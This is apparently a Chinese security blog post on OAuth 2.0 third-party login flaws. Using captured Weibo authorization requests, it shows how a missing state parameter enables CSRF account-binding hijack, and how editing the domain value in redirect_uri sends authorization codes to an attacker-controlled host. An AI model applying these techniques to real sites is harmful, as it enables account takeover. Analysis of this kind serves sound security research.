点我的链接就进入了你的账号(Oauth 2.0)

  • A+
所属分类:颓废's Blog
摘要

理解OAuth 2.0
网站在实现用户给予网站授权的时候,采用的最复杂的授权码模式,授权码授权模型如下:

理解OAuth 2.0
网站在实现用户给予网站授权的时候,采用的最复杂的授权码模式,授权码授权模型如下:

点我的链接就进入了你的账号(Oauth 2.0)

(A)用户访问客户端,后者将前者导向认证服务器
(B)用户选择是否给予客户端授权。
(C)假设用户给予授权,认证服务器将用户导向客户端事先指定的”重定向URI”(redirection URI),同时附上一个授权码。
(D)客户端收到授权码,附上早先的”重定向URI”,向认证服务器申请令牌。这一步
在客户端的后台的服务器上完成的,对用户不可见。
(E)认证服务器核对了授权码和重定向URI,确认无误后,向客户端发送访问令牌(access token)和更新令牌(refresh token)。
A步骤中,客户端申请认证的URI,包含以下参数:

response_type:表示授权类型,必选项,此处的值固定为”code”
client_id:表示客户端的ID,必选项
redirect_uri:表示重定向URI,可选项
scope:表示申请的权限范围,可选项
state:表示客户端的当前状态,可以指定任意值,认证服务器会原封不动地返回这个值。
接下来,我抓包拦截看了看网站使用微博账号授权登录的请求包和返回包:

GET /oauth2/authorize?client_id=894937143&response_type=code&redirect_uri=http://www.example.com/auth/open/login/1?domain=www.example.com HTTP/1.1Host: api.weibo.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflate, brReferer: http://www.example.com/settings/bind-infoCookie: XXXXXXXXXXXXXXXXXXXXConnection: closeUpgrade-Insecure-Requests: 1
HTTP/1.1 302 FoundServer: nginx/1.6.1Date: Sun, 16 Jul 2017 06:37:34 GMTContent-Length: 0Connection: closePragma: No-cacheCache-Control: no-cacheExpires: Thu, 01 Jan 1970 00:00:00 GMTLocation: http://www.example.com/auth/open/login/1?domain=www.example.com&code=5b36b7a82d91e8cbe4dbefe78e0970c6SINA-LB: aGEuMjIuZzEuc2UubGIuc2luYW5vZGUuY29tSINA-TS: NDg4OGMzNjggMCAxIDEgOCAzNAo=

你会看到,网站没有使用state参数防止CSRF,在测试的过程中,也没有其它的方法防止CSRF,受害者如果访问了返回包中的重定向地址,攻击者的微博就和受害者的账号绑定起来,就可以使用微博直接登录受害者账号了。

另外一点,查看了一下redirect_uri,发现这里也是有问题的

redirect_uri=http://www.example.com/auth/open/login/1?domain=www.example.com

当我直接修改前面的参数的时候,新浪提示redirect_uri不匹配,然后我把domain后面的值修改了,直接跳转到了我的网站

GET /auth/open/login/1?domain=ecma.io&code=123456 HTTP/1.1Host: www.example.comUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: JSESSIONID=0916DB187DEA12CF231596BAB684410F; Hm_lvt_e16bac3df70cc77a3932bd0f15bfbed6=1500181893,1500184577,1500185189; Hm_lpvt_e16bac3df70cc77a3932bd0f15bfbed6=1500185357; SERVERID=8aec7dbb08e2108b69ced7f76e06b292|1500187749|1500181843Connection: close
HTTP/1.1 302 FoundDate: Sun, 16 Jul 2017 06:49:19 GMTContent-Length: 0Connection: closeX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: 0X-Frame-Options: DENYLocation: http://ecma.io/auth/open/login/1?code=123456Set-Cookie: SERVERID=8aec7dbb08e2108b69ced7f76e06b292|1500187759|1500181843;Path=/

网站应该是提供了一个跳转的功能,新浪微博应该只是匹配了url前面的部分,没有对后面的参数进行限制,因此这里也存在漏洞。

总结:网站使用第三方登录的时候,应该是存在两个地方的漏洞,第一个是CSRF导致的绑定劫持,另外一个是redirect_uri导致的授权码劫持

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: